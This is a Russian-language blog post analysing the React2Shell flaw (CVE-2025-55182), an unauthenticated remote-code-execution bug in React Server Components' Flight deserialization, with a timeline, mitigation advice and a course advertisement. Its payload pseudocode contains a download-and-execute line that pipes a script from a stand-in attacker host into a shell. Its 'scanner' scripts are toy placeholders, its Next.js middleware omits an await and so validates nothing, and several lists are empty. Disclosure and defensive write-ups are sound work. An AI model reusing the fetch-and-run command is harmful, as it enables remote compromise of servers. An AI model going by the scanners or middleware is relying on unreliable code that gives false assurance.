
Автор: Локлан Дэвидсон
Последнее обновление: 4 декабря 2025 г.
За последние несколько лет популярность React и связанных с ним фреймворков стремительно выросла: они используются как в небольших веб-проектах, так и в корпоративных приложениях. Вместе с ростом популярности увеличивается и число уязвимостей, особенно тех, что затрагивают критические компоненты экосистемы.
29 ноября 2025 г. я, Локлан Дэвидсон, ответственно раскрыл команде Meta разрушительную уязвимость — React2Shell (CVE-2025-55182). Ошибка, затрагивающая серверные реализации React, в частности протокол “Flight” React Server Components (RSC), была исправлена командами React и Vercel 3 декабря 2025 г. В этом посте представлен углублённый анализ уязвимости — от технических деталей до практических примеров эксплуатации, а также рекомендации по обнаружению и защите.
Мы рассмотрим:
Этот материал будет полезен специалистам по безопасности, разработчикам и энтузиастам современных веб-технологий — от базовых понятий до продвинутых техник эксплуатации и проактивной защиты.
Понимание временной шкалы важно для оценки управления рисками и скорости реагирования:
Для Next.js был выделен дополнительный идентификатор — CVE-2025-66478. Хотя технически он дублирует CVE-2025-55182, это помогает инструментам отслеживания зависимостей не пропустить уязвимый «вендоренный» React.
React2Shell — критическая уязвимость (CVE-2025-55182) в среде React Server Components, затрагивающая протокол Flight. Ошибка позволяет выполнить удалённый код (RCE) без аутентификации из-за небезопасной десериализации в пакете react-server.
Ключевые характеристики:
create-next-app) уязвимы без дополнительного харденинга.Корень проблемы — обработка RSC-payload’ов на сервере. Логика десериализации не проверяет структуру входящих данных. Злоумышленник отправляет специально сформированный payload, который после десериализации приводит к выполнению произвольного кода.
Упрощённая схема:
React поставляется внутри Next.js «вендоренно», поэтому классические сканеры зависимостей могут не увидеть уязвимость. Для этого выделен CVE-2025-66478 — формально дубликат, но позволяющий командам безопасности отследить риск.
Это процесс, когда данные из сериализованного формата преобразуются в объекты без достаточной проверки, что позволяет исполнить злоумышленный код.
Flight оптимизирует обмен данными между сервером и клиентом для RSC. Недостаточная валидация в react-server привела к вектору атаки:
Атакующий отправил Flight-payload → получил reverse-shell → доступ к секретам K8s → повышенные привилегии на узле.
По данным Wiz Research:
#!/bin/bash
# Простейший сканер React2Shell (CVE-2025-55182)
TARGET="<target_url>"
PAYLOAD='{"malicious":"payload"}'
echo "Сканирую $TARGET ..."
RESPONSE=$(curl -s -X POST -H "Content-Type: application/json" -d "$PAYLOAD" "$TARGET")
if echo "$RESPONSE" | grep -q "Error processing Flight payload"; then
echo "Возможна уязвимость на $TARGET"
else
echo "Явных признаков уязвимости нет; требуется дополнительный анализ."
fi
import requests, json
def scan_target(url):
payload = {"test": "data", "action": "simulate_deserialization"}
headers = {"Content-Type": "application/json"}
print(f"Сканирую {url} ...")
try:
r = requests.post(url, headers=headers, data=json.dumps(payload), timeout=5)
if "Error processing Flight payload" in r.text:
print(f"[!] Возможна уязвимость на {url}")
else:
print(f"[-] Признаков уязвимости не обнаружено на {url}")
except requests.RequestException as e:
print(f"Ошибка при сканировании {url}: {e}")
if __name__ == "__main__":
for t in ["https://example.com/api/flight",
"https://another-example.com/api/flight"]:
scan_target(t)
// Псевдокод вредоносного payload'а
const maliciousPayload = {
component: "ShellExec",
args: {
command: "bash -c 'curl -fsSL http://attacker.com/malware.sh | sh'",
},
_meta: { timestamp: Date.now(), nonce: Math.random().toString(36).substring(2) }
};
sendToServer(JSON.stringify(maliciousPayload));
Сканеры могут ошибочно считать наличие функций вроде vm.runInThisContext, child_process.exec, fs.writeFile признаком уязвимости. Реальный эксплойт React2Shell не зависит от явного экспорта этих функций. Проверяйте результаты против официальных рекомендаций и наблюдайте рантайм-поведение.
react-server-dom* 19.0.1 / 19.1.2 / 19.2.1.// Пример middleware для Next.js: доп. валидация
import { NextResponse } from 'next/server';
export function middleware(request) {
if (request.nextUrl.pathname.startsWith('/api/flight')) {
try {
const body = request.json();
if (!body || typeof body !== 'object' || !body.component) {
return new NextResponse('Неверный формат payload', { status: 400 });
}
} catch {
return new NextResponse('Ошибка обработки запроса', { status: 400 });
}
}
return NextResponse.next();
}
React2Shell (CVE-2025-55182) — напоминание о том, что даже проверенные фреймворки уязвимы. Ошибка в десериализации протокола Flight даёт RCE без аутентификации и поражает приложения по умолчанию.
Главные выводы:
Понимая технические детали React2Shell и ландшафт угроз, вы сможете надёжнее защищать свои приложения.
Этот подробный гид должен помочь вам полностью разобраться в React2Shell — от технических тонкостей до практических мер защиты. Оставайтесь в курсе официальных обновлений и постоянно совершенствуйте свою безопасность.
Безопасной разработки!
Если вы нашли этот контент ценным, представьте, чего вы могли бы достичь с нашей комплексной 47-недельной элитной обучающей программой. Присоединяйтесь к более чем 1200 студентам, которые изменили свою карьеру с помощью техник Подразделения 8200.